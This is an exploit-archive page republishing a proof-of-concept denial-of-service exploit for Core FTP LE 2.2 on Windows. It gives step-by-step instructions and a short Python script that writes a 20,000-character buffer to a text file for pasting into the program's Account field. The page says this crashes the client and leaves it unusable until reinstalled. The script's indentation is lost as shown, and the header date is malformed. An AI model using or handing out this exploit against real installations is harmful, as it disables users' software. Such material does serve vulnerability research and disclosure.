Core ftp le 2.2 denial of service (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-02-26 | Type : dos | Platform : windows
This exploit / vulnerability Core ftp le 2.2 denial of service (poc) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Core FTP LE 2.2 - Denial of Service (PoC)
# Date: 2020-25-02
# Exploit Author: Ismael Nava
# Vendor Homepage: http://www.coreftp.com/
# Software Link: http://www.coreftp.com/download.html
# Version: 2.2 build 1947
# Tested on: Windows 10 Home x64
# CVE : n/a

#STEPS
# Open the program Core FTP LE
# In File select the option Connect
# Click in the option Advanced from the fiel Host / IP / URL
# Run the python exploit script, it will create a new .txt files
# Copy the content of the file "Dog.txt"
# Paste the content in the field Account
# Click in OK
# After Core FTP lE closed, the program did not work again if the user try to
# open again, so it is necessary uninstall and install again
# End :)


buffer = 'R' * 20000

try:
file = open("Dog.txt","w")
file.write(buffer)
file.close()

print("Archive ready")
except:
print("Archive no ready")